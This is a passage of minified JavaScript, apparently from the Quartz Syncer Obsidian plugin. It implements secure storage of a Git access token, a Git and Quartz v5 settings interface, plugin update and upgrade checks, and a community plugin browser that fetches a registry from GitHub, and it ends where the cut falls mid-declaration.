ez=it(vt()),za=ez.default.get("secret-storage-service"),Ck="quartz-syncer-git-token",Gc=class{secretStorage;cachedToken=null;constructor(e){this.secretStorage=e.secretStorage}getToken(){if(this.cachedToken!==null)return this.cachedToken;let e=this.secretStorage.getSecret(Ck);return this.cachedToken=e,e}setToken(e){if(!e){za.warn("Attempted to store empty token");return}this.secretStorage.setSecret(Ck,e),this.cachedToken=e,za.info("Git authentication token stored in secure storage")}clearToken(){this.secretStorage.setSecret(Ck,""),this.cachedToken=null,za.info("Git authentication token cleared from secure storage")}hasToken(){let e=this.getToken();return e!==null&&e!==""}async migrateFromSettings(e,n){let r=e.git?.auth?.secret;if(!r)return za.debug("No legacy token found in settings, skipping migration"),!1;let i=this.getToken();return i&&i!==""?(za.debug("Token already exists in secure storage, skipping migration"),e.git?.auth?.secret&&(e.git.auth.secret=void 0,await n(),za.info("Cleared legacy token from settings (secure storage already has token)")),!1):(this.setToken(r),e.git.auth.secret=void 0,await n(),za.info("Successfully migrated Git authentication token from settings to secure storage"),!0)}listSecrets(){return this.secretStorage.listSecrets().filter(n=>n.startsWith("quartz-syncer-"))}};var qg=class extends $t.PluginSettingTab{app;plugin;settings;readStatus;writeStatus;settingsRootElement;readStatusElement;writeStatusElement;remoteBranches=[];defaultBranch=null;branchSettingEl=null;branchesLoaded=!1;secretStorageService;constructor(e,n,r,i){super(e,n),this.app=e,this.plugin=n,this.settings=r,this.settingsRootElement=i,this.settingsRootElement.classList.add("settings-tab-content"),this.readStatus="loading",this.writeStatus="loading",this.secretStorageService=new Gc(e),this.readStatusElement=createSpan({text:"pending..."}),this.writeStatusElement=createSpan({text:"pending..."})}display(){this.settingsRootElement.empty(),this.settingsRootElement.addClass("quartz-syncer-github-settings"),this.branchSettingEl=null,this.initializeGitHeader(),this.initializeRemoteUrlSetting(),this.initializeBranchSetting(),this.initializeProviderHintSetting(),this.initializeAuthTypeSetting(),this.initializeUsernameSetting(),this.initializeSecretSetting(),this.initializeCorsProxySetting(),this.initializeVaultFolderSetting(),this.settings.settings.lastUsedSettingsTab="git",this.settings.plugin.saveSettings()}initializeGitHeader=()=>{this.readStatusElement=createSpan({text:"pending..."}),this.writeStatusElement=createSpan({text:"pending..."}),this.checkConnectionAndSaveSettings();let e=createSpan(),n=e.createSpan();n.appendText(" (read: "),n.append(this.readStatusElement),n.appendText(")"),n.addClass("quartz-syncer-connection-status","quartz-syncer-connection-status-pending");let r=e.createSpan();r.appendText(" (write: "),r.append(this.writeStatusElement),r.appendText(")"),r.addClass("quartz-syncer-connection-status","quartz-syncer-connection-status-pending"),new $t.Setting(this.settingsRootElement).setName("Git Repository").setDesc("Configure your Git remote. Works with GitHub, GitLab, Bitbucket, and self-hosted Git servers.").setHeading().nameEl.append(e)};checkConnectionAndSaveSettings=async()=>{this.settings.plugin.saveSettings(),this.debouncedUpdateConnectionStatus()};updateConnectionStatus=async()=>{let e=this.settings.settings.git;if(!e.remoteUrl){this.readStatus="error",this.writeStatus="error",this.remoteBranches=[],this.defaultBranch=null,this.updateConnectionStatusIndicator();return}let n={...e.auth,secret:this.secretStorageService.getToken()||void 0};try{let{branches:r,defaultBranch:i}=await rt.fetchRemoteBranches(e.remoteUrl,n,e.corsProxyUrl);this.remoteBranches=r,this.defaultBranch=i;let s=this.branchesLoaded;r.length>0?(this.readStatus="connected",this.branchesLoaded=!0,e.branch||(e.branch=i||"v4",await this.settings.plugin.saveSettings()),s||this.refreshBranchSetting()):this.readStatus="error"}catch{this.readStatus="error",this.remoteBranches=[],this.defaultBranch=null}try{let r=await rt.checkWriteAccess(e.remoteUrl,n,e.corsProxyUrl);this.writeStatus=r?"connected":"error"}catch{this.writeStatus="error"}this.updateConnectionStatusIndicator()};refreshBranchSetting(){this.branchSettingEl&&(this.branchSettingEl.empty(),this.initializeBranchSetting())}debouncedUpdateConnectionStatus=(0,$t.debounce)(this.updateConnectionStatus,500,!0);updateConnectionStatusIndicator=()=>{this.applyStatusToElement(this.readStatusElement,this.readStatus),this.applyStatusToElement(this.writeStatusElement,this.writeStatus)};applyStatusToElement(e,n){e.parentElement!==null&&(n==="loading"&&(e.innerText="pending...",e.parentElement.classList.remove("quartz-syncer-connection-status-success","quartz-syncer-connection-status-failed"),e.parentElement.classList.add("quartz-syncer-connection-status-pending")),n==="connected"&&(e.innerText="ok",e.parentElement.classList.remove("quartz-syncer-connection-status-pending","quartz-syncer-connection-status-failed"),e.parentElement.classList.add("quartz-syncer-connection-status-success")),n==="error"&&(e.innerText="failed",e.parentElement.classList.remove("quartz-syncer-connection-status-pending","quartz-syncer-connection-status-success"),e.parentElement.classList.add("quartz-syncer-connection-status-failed")))}initializeRemoteUrlSetting(){new $t.Setting(this.settingsRootElement).setName("Remote URL").setDesc("The full URL of your Git repository (e.g., https://github.com/username/quartz.git)").addText(e=>e.setPlaceholder("https://github.com/username/quartz.git").setValue(this.settings.settings.git.remoteUrl).onChange(async n=>{this.settings.settings.git.remoteUrl=n,this.autoDetectProvider(n),await this.checkConnectionAndSaveSettings()}))}autoDetectProvider(e){let n="custom";try{let r=new URL(e).hostname.toLowerCase();r==="github.com"||r.endsWith(".github.com")?n="github":r==="gitlab.com"||r.endsWith(".gitlab.com")?n="gitlab":r==="bitbucket.org"||r.endsWith(".bitbucket.org")?n="bitbucket":r==="codeberg.org"&&(n="gitea")}catch{n="custom"}this.settings.settings.git.providerHint=n}initializeBranchSetting(){this.branchSettingEl||(this.branchSettingEl=this.settingsRootElement.createDiv());let e=new $t.Setting(this.branchSettingEl).setName("Branch").setDesc("The branch to sync with");this.remoteBranches.length>0?e.addDropdown(n=>{for(let i of this.remoteBranches){let s=i===this.defaultBranch?`${i} (default)`:i;n.addOption(i,s)}let r=this.settings.settings.git.branch;r&&this.remoteBranches.includes(r)?n.setValue(r):this.defaultBranch?(n.setValue(this.defaultBranch),this.settings.settings.git.branch=this.defaultBranch):this.remoteBranches.includes("v4")?(n.setValue("v4"),this.settings.settings.git.branch="v4"):this.remoteBranches.length>0&&(n.setValue(this.remoteBranches[0]),this.settings.settings.git.branch=this.remoteBranches[0]),n.onChange(async i=>{this.settings.settings.git.branch=i,await this.checkConnectionAndSaveSettings()})}):e.addText(n=>n.setPlaceholder("v4").setValue(this.settings.settings.git.branch).onChange(async r=>{this.settings.settings.git.branch=r||"v4",await this.checkConnectionAndSaveSettings()}))}initializeProviderHintSetting(){new $t.Setting(this.settingsRootElement).setName("Provider").setDesc("Select your Git provider for optimized authentication hints").addDropdown(e=>e.addOption("github","GitHub").addOption("gitlab","GitLab").addOption("bitbucket","Bitbucket").addOption("gitea","Gitea / Codeberg").addOption("custom","Custom / Self-hosted").setValue(this.settings.settings.git.providerHint||"github").onChange(async n=>{this.settings.settings.git.providerHint=n,await this.checkConnectionAndSaveSettings()}))}initializeAuthTypeSetting(){new $t.Setting(this.settingsRootElement).setName("Authentication Type").setDesc("How to authenticate with the Git server").addDropdown(e=>e.addOption("basic","Username & Token/Password").addOption("bearer","Bearer Token").addOption("none","None (public repos)").setValue(this.settings.settings.git.auth.type).onChange(async n=>{this.settings.settings.git.auth.type=n,await this.checkConnectionAndSaveSettings(),this.display()}))}initializeUsernameSetting(){if(this.settings.settings.git.auth.type!=="basic")return;let e=this.settings.settings.git.providerHint,n="username",r="Your username for authentication";e==="gitlab"?(n="oauth2 or username",r="Use 'oauth2' for personal access tokens, or your username"):e==="bitbucket"&&(n="x-token-auth or username",r="Use 'x-token-auth' for app passwords, or your username"),new $t.Setting(this.settingsRootElement).setName("Username").setDesc(r).addText(i=>i.setPlaceholder(n).setValue(this.settings.settings.git.auth.username||"").onChange(async s=>{this.settings.settings.git.auth.username=s,await this.checkConnectionAndSaveSettings()}))}initializeSecretSetting(){if(this.settings.settings.git.auth.type==="none")return;let e=this.settings.settings.git.providerHint,n="Access Token",r="Your personal access token or password";e==="github"?r="A GitHub Personal Access Token (classic or fine-grained) with 'Contents' permission":e==="gitlab"?r="A GitLab Personal Access Token with 'read_repository' and 'write_repository' scopes":e==="bitbucket"&&(n="App Password",r="A Bitbucket App Password with repository write access");let i=createFragment();i.createSpan({text:r+". "}),i.createEl("a",{text:"Documentation",href:"https://saberzero1.github.io/quartz-syncer-docs/Settings/Git/Access-Token"});let s=this.secretStorageService.hasToken(),l=new $t.Setting(this.settingsRootElement).setName(n).setDesc(i).controlEl.createDiv({cls:"quartz-syncer-token-container"}),c=l.createSpan({cls:`quartz-syncer-token-status ${s?"quartz-syncer-token-status-set":"quartz-syncer-token-status-unset"}`});c.setText(s?"Token stored securely":"No token set");let u=l.createDiv({cls:"quartz-syncer-token-input-container"}),f=u.createEl("input",{type:"password",cls:"quartz-syncer-token-input",placeholder:s?"Enter new token to replace":"Enter token"}),h=u.createEl("button",{cls:"quartz-syncer-token-toggle clickable-icon",attr:{"aria-label":"Toggle token visibility"}});(0,$t.setIcon)(h,"eye");let d=!1;h.addEventListener("click",w=>{w.preventDefault(),d=!d,f.type=d?"text":"password",(0,$t.setIcon)(h,d?"eye-off":"eye")});let p=l.createDiv({cls:"quartz-syncer-token-buttons"}),g=p.createEl("button",{cls:"mod-cta",text:s?"Update":"Save"}),y=async()=>{let w=f.value.trim();w&&(this.secretStorageService.setToken(w),f.value="",f.placeholder="Enter new token to replace",c.setText("Token stored securely"),c.removeClass("quartz-syncer-token-status-unset"),c.addClass("quartz-syncer-token-status-set"),g.setText("Update"),await this.checkConnectionAndSaveSettings())};if(g.addEventListener("click",()=>{y()}),s){let w=p.createEl("button",{cls:"mod-warning",text:"Clear"}),b=async()=>{this.secretStorageService.clearToken(),f.value="",f.placeholder="Enter token",c.setText("No token set"),c.removeClass("quartz-syncer-token-status-set"),c.addClass("quartz-syncer-token-status-unset"),g.setText("Save"),w.remove(),await this.checkConnectionAndSaveSettings()};w.addEventListener("click",()=>{b()})}}initializeCorsProxySetting(){let e=createFragment();e.createSpan({text:"A CORS proxy URL for browser environments. Required on mobile/web if your Git server doesn't support CORS. "}),e.createEl("a",{text:"Learn more",href:"https://github.com/isomorphic-git/cors-proxy"}),new $t.Setting(this.settingsRootElement).setName("CORS Proxy (optional)").setDesc(e).addText(n=>n.setPlaceholder("https://cors.isomorphic-git.org").setValue(this.settings.settings.git.corsProxyUrl||"").onChange(async r=>{this.settings.settings.git.corsProxyUrl=r||void 0,await this.checkConnectionAndSaveSettings()}))}initializeVaultFolderSetting(){let e=this.settings.app;new $t.Setting(this.settingsRootElement).setName("Vault root folder").setDesc('The folder in your Obsidian vault to sync. Use "/" for the entire vault.').addSearch(n=>{new Ug(e,n.inputEl),n.setPlaceholder("/").setValue(this.settings.settings.vaultPath).onChange(async r=>{r=(0,$t.normalizePath)(r.trim()),r==="/"&&(r=""),this.settings.settings.vaultPath=`${r}/`,await this.checkConnectionAndSaveSettings()})})}};m();var Z=require("obsidian");m();function Hg(t){return typeof t=="object"&&t!==null&&"repo"in t&&typeof t.repo=="string"}function Vn(t){return Hg(t)?t.name?t.name:tz(t.repo):tz(t)}function Dn(t){if(Hg(t)){let e=Vg(t.repo);return t.subdir?`${e}::${t.subdir}`:e}return Vg(t)}function Qc(t){let e=Hg(t)?t.repo:t,n=Vg(e);return n.startsWith("github:")?`https://github.com/${n.slice(7)}.git`:n.startsWith("git+")?n.slice(4):n}function nz(t){if(Hg(t))return t.ref;let e=t.indexOf("#");return e!==-1?t.slice(e+1):void 0}function Vg(t){let e=t.indexOf("#");return e!==-1?t.slice(0,e):t}function tz(t){let e=Vg(t);if(e.startsWith("github:")){let r=e.slice(7),i=r.split("/");return i[i.length-1]||r}if(e.includes("://"))try{let i=new URL(e.replace(/^git\+/,"")).pathname.replace(/\.git$/,""),s=i.split("/").filter(Boolean);return s[s.length-1]||i}catch{}let n=e.split("/").filter(Boolean);return n[n.length-1]||e}m();var Wg=50,La=class{addPlugin(e,n,r){let i=Dn(n);if(e.plugins.find(a=>Dn(a.source)===i))throw new Error(`Plugin "${i}" is already in the configuration.`);let o={source:n,enabled:r?.enabled??!0,order:r?.order??Wg,options:r?.options??{}};return e.plugins.push(o),o}removePlugin(e,n){let r=e.plugins.findIndex(s=>Dn(s.source)===n);if(r===-1)throw new Error(`Plugin "${n}" not found in the configuration.`);let[i]=e.plugins.splice(r,1);return i}findPlugin(e,n){return e.plugins.find(r=>Dn(r.source)===n)}};m();var rz=it(vt()),iK=rz.default.get("quartz-plugin-update-checker"),Do=class{auth;corsProxyUrl;constructor(e,n){this.auth=e,this.corsProxyUrl=n}async checkUpdates(e,n){let r=n?.plugins??{},i=e.map(s=>this.checkSinglePlugin(s,r));return Promise.all(i)}async checkSinglePlugin(e,n){let r=Vn(e.source),s=n[r]?.commit??null;if(!s)return{name:r,sourceKey:r,lockedCommit:null,remoteCommit:null,hasUpdate:!1};try{let o=Qc(e.source),a=nz(e.source)??void 0,l=await rt.fetchRemoteHeadCommit(o,this.auth,a,this.corsProxyUrl);return l?{name:r,sourceKey:r,lockedCommit:s,remoteCommit:l,hasUpdate:l!==s}:{name:r,sourceKey:r,lockedCommit:s,remoteCommit:null,hasUpdate:!1,error:"Could not reach remote"}}catch(o){let a=o instanceof Error?o.message:String(o);return iK.debug(`Update check failed for ${r}`,o),{name:r,sourceKey:r,lockedCommit:s,remoteCommit:null,hasUpdate:!1,error:a}}}};m();var iz=require("obsidian"),sz=it(vt()),Br=sz.default.get("quartz-upgrade-service"),sK="https://raw.githubusercontent.com/jackyzha0/quartz/v5/package.json",Kc="https://github.com/jackyzha0/quartz.git",Zc="v5",Tk={type:"none"},Vh=class{userRepo;constructor(e){this.userRepo=e}async checkForUpgrade(){let e=null;try{e=await ai.getQuartzPackageVersion(this.userRepo)}catch(o){Br.debug("Could not read current Quartz version",o)}let n=null;try{n=await this.fetchUpstreamVersion()}catch(o){let a=o instanceof Error?o.message:String(o);return Br.debug("Could not reach upstream Quartz",o),{currentVersion:e,upstreamVersion:null,hasUpgrade:!1,latestUpstreamSha:null,hasNewerCommits:!1,error:`Could not reach upstream Quartz: ${a}`}}if(!n)return{currentVersion:e,upstreamVersion:null,hasUpgrade:!1,latestUpstreamSha:null,hasNewerCommits:!1,error:"Could not determine upstream Quartz version"};let r=e!==null&&n!==e,i=null;try{i=await rt.fetchRemoteHeadCommit(Kc,Tk,Zc),Br.info(`Upstream HEAD commit: ${i??"null"}`)}catch(o){Br.warn("Could not fetch upstream HEAD commit SHA",o)}let s=!1;if(i){Br.info(`Checking if ${i.slice(0,7)} exists in user repo history`);let o=await this.userRepo.hasCommitInHistory(i);s=!o,Br.info(`Commit ${i.slice(0,7)} ${o?"found":"NOT found"} in user repo`)}else Br.warn("Could not determine upstream HEAD SHA, skipping commit check");return{currentVersion:e,upstreamVersion:n,hasUpgrade:r,latestUpstreamSha:i,hasNewerCommits:s}}async performUpgrade(){try{Br.info("Starting Quartz upgrade from upstream");let e=await this.userRepo.upgradeFromUpstream(Kc,Zc);return e.alreadyMerged?(Br.info("Quartz is already up to date with upstream"),{success:!0,alreadyMerged:!0,oid:e.oid}):(Br.info(`Quartz upgraded successfully to ${e.oid.slice(0,7)}`),{success:!0,oid:e.oid,alreadyMerged:!1})}catch(e){let n=e instanceof Error?e.message:String(e);return n.includes("Merge conflicts in:")||n.includes("MergeNotSupportedError")||n.includes("MergeConflictError")||n.includes("Merges with conflicts")?(Br.warn(`Upgrade aborted: ${n}`),{success:!1,error:`${n}. No changes were made. Run \`npx quartz upgrade\` manually to resolve conflicts.`}):(Br.error("Quartz upgrade failed",e),{success:!1,error:`Upgrade failed: ${n}`})}}async fetchUpstreamVersion(){let e=await(0,iz.requestUrl)({url:sK});return e.status<200||e.status>=300?null:e.json.version??null}};m();var az=it(vt()),oK=az.default.get("quartz-template-service"),oz="quartz/cli/templates",aK=["default","full-width","minimal"],Gg=class{repo;constructor(e){this.repo=e}async listTemplateNames(){return(await this.repo.listDirectory(oz)).filter(n=>n.type==="tree").map(n=>n.name)}async readTemplate(e){let n=`${oz}/${e}/quartz.config.yaml`;try{let r=await this.repo.getRawFile(n);if(!r)return null;let{parseDocument:i}=await Promise.resolve().then(()=>(Ek(),KR)),s=Rr.decode(r.content),a=i(s,{keepSourceTokens:!0}).toJSON();return{name:e,config:a}}catch(r){return oK.debug(`Could not read template ${e}`,r),null}}async getAvailableFrameNames(){let e=await this.listTemplateNames(),n=new Set(aK);for(let r of e)n.add(r);return[...n].sort()}applyTemplate(e,n){e.configuration={...n.config.configuration},e.plugins=[...n.config.plugins],e.layout=n.config.layout?{...n.config.layout}:void 0}};m();var lz=it(vt());var lK=lz.default.get("quartz-plugin-manifest-service");function cK(t){if(typeof t=="string")return t.startsWith("github:")?{url:`https://github.com/${t.replace("github:","").split("#")[0]}.git`}:t.startsWith("git+https://")?{url:t.replace("git+","").split("#")[0]}:t.startsWith("https://")?{url:t.split("#")[0]}:null;let e=t;return e.repo.startsWith("github:")?{url:`https://github.com/${e.repo.replace("github:","").split("#")[0]}.git`,subdir:e.subdir}:{url:e.repo.split("#")[0],subdir:e.subdir}}function uK(t){if(typeof t=="string"){let e=t.indexOf("#");return e>=0?t.slice(e+1):void 0}return t.ref}var Qg=class{auth;corsProxyUrl;cache=new Map;constructor(e,n){this.auth=e,this.corsProxyUrl=n}async fetchManifest(e){let n=typeof e=="string"?e:JSON.stringify(e);if(this.cache.has(n))return this.cache.get(n)??null;let r=cK(e);if(!r)return this.cache.set(n,null),null;try{let i=uK(e);if(!i){let{defaultBranch:f}=await rt.fetchRemoteBranches(r.url,this.auth,this.corsProxyUrl);i=f??"main"}let s=new rt({gitSettings:{remoteUrl:r.url,branch:i,auth:this.auth,corsProxyUrl:this.corsProxyUrl},contentFolder:"content",vaultPath:"/"}),o=r.subdir?`${r.subdir}/package.json`:"package.json",a=await s.getRawFile(o);if(!a)return this.cache.set(n,null),null;let l=Rr.decode(a.content),u=JSON.parse(l).quartz??null;return this.cache.set(n,u),u}catch(i){return lK.debug("Could not fetch plugin manifest",i),this.cache.set(n,null),null}}clearCache(){this.cache.clear()}};m();var uz=require("obsidian"),fz=it(vt()),cz=fz.default.get("quartz-plugin-registry"),fK="https://raw.githubusercontent.com/quartz-community/registry/main/registry.json",Yc=class{cache=null;fetchPromise=null;async getPlugins(){if(this.cache)return this.cache;if(this.fetchPromise)return this.fetchPromise;this.fetchPromise=this.fetchRegistry();try{let e=await this.fetchPromise;return this.cache=e,e}finally{this.fetchPromise=null}}clearCache(){this.cache=null}async fetchRegistry(){try{let e=await(0,uz.requestUrl)({url:fK});return e.status<200||e.status>=300?(cz.warn(`Failed to fetch plugin registry: ${e.status}`),[]):e.json.plugins??[]}catch(e){return cz.warn("Failed to fetch plugin registry:",e),[]}}};m();var Hh=require("obsidian");var dz=it(vt()),hz=dz.default.get("plugin-browser-modal"),Kg=class extends Hh.Modal{registry;config;onInstall;allPlugins=[];searchQuery="";selectedTag="";isLoading=!1;installingPlugins=new Set;constructor(e,n,r,i){super(e),this.registry=n,this.config=r,this.onInstall=i}async onOpen(){this.modalEl.addClass("quartz-syncer-plugin-browser"),this.titleEl.setText("Community Plugin Browser"),this.loadAndRender()}onClose(){this.contentEl.empty()}async loadAndRender(){this.isLoading=!0,this.render();try{this.allPlugins=await this.registry.getPlugins()}catch(e){hz.warn("Failed to load registry",e),this.allPlugins=[]}this.isLoading=!1,this.render()}render(){if(this.contentEl.empty(),this.isLoading){this.contentEl.createEl("p",{text:"Loading plugin registry...",cls:"quartz-syncer-plugin-browser-loading"});return}if(this.allPlugins.length===0){this.contentEl.createEl("p",{text:"Could not load the plugin registry. Check your internet connection and try again."});return}this.renderControls();let e=this.getFilteredPlugins(),n=this.contentEl.createDiv("quartz-syncer-plugin-browser-list");if(e.length===0){n.createEl("p",{text:"No plugins match your search.",cls:"quartz-syncer-plugin-browser-empty"});return}for(let r of e)this.renderPluginCard(n,r)}renderControls(){let e=this.contentEl.createDiv("quartz-syncer-plugin-browser-controls"),n=e.createEl("input",{type:"text",placeholder:"Search plugins...",cls:"quartz-syncer-plugin-browser-search"});n.value=this.searchQuery,n.addEventListener("input",()=>{this.searchQuery=n.value,this.renderList()});let r=this.getAllTags();if(r.length>0){let i=e.createEl("select",{cls:"quartz-syncer-plugin-browser-tag-filter"});i.createEl("option",{text:"All categories",value:""});for(let s of r)i.createEl("option",{text:s,value:s});i.value=this.selectedTag,i.addEventListener("change",()=>{this.selectedTag=i.value,this.renderList()})}}renderList(){let e=this.contentEl.querySelector(".quartz-syncer-plugin-browser-list");e&&e.remove();let n=this.getFilteredPlugins(),r=this.contentEl.createDiv("quartz-syncer-plugin-browser-list");if(n.length===0){r.createEl("p",{text:"No plugins match your search.",cls:"quartz-syncer-plugin-browser-empty"});return}for(let i of n)this.renderPluginCard(r,i)}renderPluginCard(e,n){let r=this.isPluginInstalled(n),i=this.installingPlugins.has(n.name),s=e.createDiv("quartz-syncer-plugin-browser-card"),o=s.createDiv("quartz-syncer-plugin-browser-card-header");o.createSpan({text:n.name,cls:"quartz-syncer-plugin-browser-card-name"}),n.official&&o.createSpan({text:"official",cls:"quartz-syncer-plugin-browser-badge-official"}),s.createEl("p",{text:n.description,cls:"quartz-syncer-plugin-browser-card-desc"});let a=s.createDiv("quartz-syncer-plugin-browser-card-footer"),l=a.createDiv("quartz-syncer-plugin-browser-card-tags");for(let c of n.tags)l.createSpan({text:c,cls:"quartz-syncer-plugin-browser-tag"});if(r)a.createSpan({text:"Installed",cls:"quartz-syncer-plugin-browser-installed"});else{let c=a.createEl("button",{text:i?"Installing...":"Install",cls:"quartz-syncer-plugin-browser-install-btn"});i&&(c.disabled=!0),c.addEventListener("click",()=>{this.handleInstall(n,c)})}}async handleInstall(e,n){if(!this.installingPlugins.has(e.name)){this.installingPlugins.add(e.name),n.textContent="Installing...",n.disabled=!0;try{await this.onInstall(e.source),new Hh.Notice(`Plugin "${e.name}" installed successfully.`),this.render()}catch(r){let i=r instanceof Error?r.message:String(r);hz.warn(`Failed to install ${e.name}`,r),new Hh.Notice(`Failed to install "${e.name}": ${i}`),n.textContent="Install",n.disabled=!1}finally{this.installingPlugins.delete(e.name)}}}isPluginInstalled(e){let n=Dn(e.source);return this.config.plugins.some(r=>Dn(r.source)===n)}getFilteredPlugins(){let e=this.searchQuery.toLowerCase().trim();return this.allPlugins.filter(n=>this.selectedTag&&!n.tags.includes(this.selectedTag)?!1:e?n.name.toLowerCase().includes(e)||n.description.toLowerCase().includes(e)||n.tags.some(r=>r.toLowerCase().includes(e)):!0)}getAllTags(){let e=new Set;for(let n of this.allPlugins)for(let r of n.tags)e.add(r);return[...e].sort()}};var mz=it(vt()),ys=mz.default.get("quartz-v5-settings"),hK=["left","right","beforeBody","afterBody","body"],dK=["all","mobile-only","desktop-only"],mK={light:"#faf8f8",lightgray:"#e5e5e5",gray:"#b8b8b8",darkgray:"#4e4e4e",dark:"#2b2b2b",secondary:"#284b63",tertiary:"#84a59d",highlight:"rgba(143, 159, 169, 0.15)",textHighlight:"#fff23688"},pK={light:"#161618",lightgray:"#393639",gray:"#646464",darkgray:"#d4d4d4",dark:"#ebebec",secondary:"#7b97aa",tertiary:"#84a59d",highlight:"rgba(143, 159, 169, 0.15)",textHighlight:"#fff23688"},gK=["content","folder","tag","canvas","bases","404"],Zg=class extends Z.PluginSettingTab{app;plugin;settings;settingsRootElement;siteManager=null;configService=null;cachedConfig=null;cachedLockFile=null;cachedVersion=null;cachedPackageVersion=null;cachedUpdateStatuses=null;cachedUpgradeStatus=null;cachedTemplateNames=[];cachedTemplates=new Map;templateService=null;manifestService=null;cachedManifests=new Map;expandedPlugins=new Set;pluginRegistry=new Yc;cachedThemesJson=null;isLoading=!1;isSaving=!1;isCheckingUpdates=!1;isCheckingUpgrade=!1;isUpgrading=!1;pluginManager=new La;constructor(e,n,r,i){super(e,n),this.app=e,this.plugin=n,this.settings=r,this.settingsRootElement=i}display(){this.settingsRootElement.empty(),this.settingsRootElement.addClass("quartz-syncer-github-settings"),this.settings.settings.lastUsedSettingsTab="quartz",this.settings.plugin.saveSettings(),this.renderQuartzHeader(),this.renderContentFolderSetting(),this.cachedConfig?this.renderV5Content():(this.renderLoading(),this.loadV5Data())}renderQuartzHeader(){new Z.Setting(this.settingsRootElement).setName("Quartz").setDesc("Quartz Syncer will apply these settings to your Quartz notes.").setHeading()}renderContentFolderSetting(){new Z.Setting(this.settingsRootElement).setName("Content folder").setDesc('The folder in your Quartz repository where Quartz Syncer should store your notes. By default "content".').addText(e=>e.setPlaceholder("content").setValue(this.settings.settings.contentFolder).onChange(async n=>{this.settings.settings.contentFolder=(0,Z.normalizePath)(n),await this.settings.plugin.saveSettings()}))}renderLoading(){new Z.Setting(this.settingsRootElement).setName("v5 Configuration").setDesc("Loading configuration from repository...")}renderNonV5Message(){new Z.Setting(this.settingsRootElement).setName("Quartz v5 not detected").setDesc("Your Quartz site uses the v4 configuration format. Run `npx quartz migrate` in your repository to enable plugin management from Obsidian.")}renderError(e){new Z.Setting(this.settingsRootElement).setName("Error").setDesc(e).addButton(n=>n.setButtonText("Retry").onClick(()=>{this.resetCache(),this.display()}))}async loadV5Data(){if(!this.isLoading){this.isLoading=!0;try{let e=this.getOrCreateSiteManager(),n=await e.getQuartzVersion();if(this.cachedVersion=n,n!=="v5-yaml"&&n!=="v5-json"){this.renderNonV5Message(),this.isLoading=!1;return}if(this.configService=await e.getConfigService(),!this.configService){this.renderError("Could not initialize config service for this repository."),this.isLoading=!1;return}this.templateService=new Gg(e.userSyncerConnection);let r=this.plugin.getGitSettingsWithSecret();this.manifestService=new Qg(r.auth,r.corsProxyUrl);let[i,s,o,a]=await Promise.all([this.configService.readConfig(),this.configService.readLockFile(),this.loadPackageVersion(e),this.templateService.listTemplateNames()]);this.cachedConfig=i,this.cachedLockFile=s,this.cachedPackageVersion=o,this.cachedTemplateNames=a,this.display(),this.settings.settings.upgradeCheckStrategy==="commit"&&!this.settings.settings.lastUpstreamCommitSha&&this.checkForQuartzUpgrade()}catch(e){let n=e instanceof Error?e.message:String(e);ys.warn("Failed to load Quartz v5 config",e),this.renderError(n)}finally{this.isLoading=!1}}}async loadPackageVersion(e){try{return await ai.getQuartzPackageVersion(e.userSyncerConnection)}catch{return null}}getOrCreateSiteManager(){return this.siteManager||(this.siteManager=new Sn(this.app.metadataCache,this.settings.settings,this.plugin.getGitSettingsWithSecret())),this.siteManager}resetCache(){this.cachedConfig=null,this.cachedLockFile=null,this.cachedVersion=null,this.cachedPackageVersion=null,this.cachedUpdateStatuses=null,this.cachedUpgradeStatus=null,this.cachedTemplateNames=[],this.cachedTemplates=new Map,this.cachedManifests=new Map,this.expandedPlugins=new Set,this.templateService=null,this.manifestService=null,this.configService=null,this.siteManager=null}markDirty(){}async saveConfig(){if(!(!this.cachedConfig||!this.configService||this.isSaving)){this.isSaving=!0;try{await this.configService.writeConfig(this.cachedConfig),new Z.Notice("Quartz configuration saved and pushed.")}catch(e){let n=e instanceof Error?e.message:String(e);ys.warn("Failed to save Quartz config",e),new Z.Notice(`Failed to save configuration: ${n}`)}finally{this.isSaving=!1}}}renderV5Content(){this.renderVersionSection(),this.renderUpgradeSection(),this.renderTemplateSection(),this.renderSiteConfigSection(),this.renderPluginListSection(),this.renderLayoutSection()}renderVersionSection(){new Z.Setting(this.settingsRootElement).setName("Quartz v5 Configuration").setDesc("Edit your Quartz v5 site configuration. Changes are pushed to your repository on save.").setHeading();let e=this.cachedPackageVersion?`${this.cachedPackageVersion} (${this.cachedVersion})`:this.cachedVersion??"unknown";new Z.Setting(this.settingsRootElement).setName("Quartz version").setDesc(e);let n=this.cachedVersion==="v5-yaml"?"YAML":"JSON";new Z.Setting(this.settingsRootElement).setName("Configuration format").setDesc(n),new Z.Setting(this.settingsRootElement).addButton(r=>r.setButtonText("Save").onClick(async()=>{await this.saveConfig()})).addButton(r=>r.setButtonText("Refresh").onClick(()=>{this.resetCache(),this.display()}))}renderUpgradeSection(){new Z.Setting(this.settingsRootElement).setName("Quartz Updates").setHeading().addButton(r=>r.setButtonText(this.isCheckingUpgrade?"Checking...":"Check for Quartz updates").setDisabled(this.isCheckingUpgrade).onClick(async()=>{await this.checkForQuartzUpgrade()}));let n=this.settings.settings.upgradeCheckStrategy;if(new Z.Setting(this.settingsRootElement).setName("Update check strategy").setDesc("Version: check for new Quartz releases. Commit: check for any new upstream commits (including unreleased changes).").addDropdown(r=>{r.addOption("version","Version"),r.addOption("commit","Commit"),r.setValue(n).onChange(async i=>{this.settings.settings.upgradeCheckStrategy=i,await this.settings.plugin.saveSettings(),this.cachedUpgradeStatus=null,this.display(),i==="commit"&&!this.settings.settings.lastUpstreamCommitSha&&this.checkForQuartzUpgrade()})}),this.cachedUpgradeStatus){let r=this.cachedUpgradeStatus,i=n==="commit"?r.hasNewerCommits:r.hasUpgrade;if(r.error)new Z.Setting(this.settingsRootElement).setName("Upgrade check failed").setDesc(r.error);else if(i){let s=n==="commit"?`Latest upstream commit: ${r.latestUpstreamSha?.slice(0,7)??"unknown"}.`:`Your Quartz is at ${r.currentVersion??"unknown"}, upstream is at ${r.upstreamVersion??"unknown"}.`;new Z.Setting(this.settingsRootElement).setName(n==="commit"?"New upstream commits available":"Quartz upgrade available").setDesc(s).addButton(a=>a.setButtonText(this.isUpgrading?"Upgrading...":"Upgrade now").setWarning().setDisabled(this.isUpgrading).onClick(async()=>{await this.performQuartzUpgrade()}))}else n==="commit"&&r.latestUpstreamSha?new Z.Setting(this.settingsRootElement).setName("Quartz is up to date").setDesc(`Current upstream commit: ${r.latestUpstreamSha.slice(0,7)}`):new Z.Setting(this.settingsRootElement).setName("Quartz is up to date").setDesc(`Current version: ${r.currentVersion??"unknown"}`)}}async 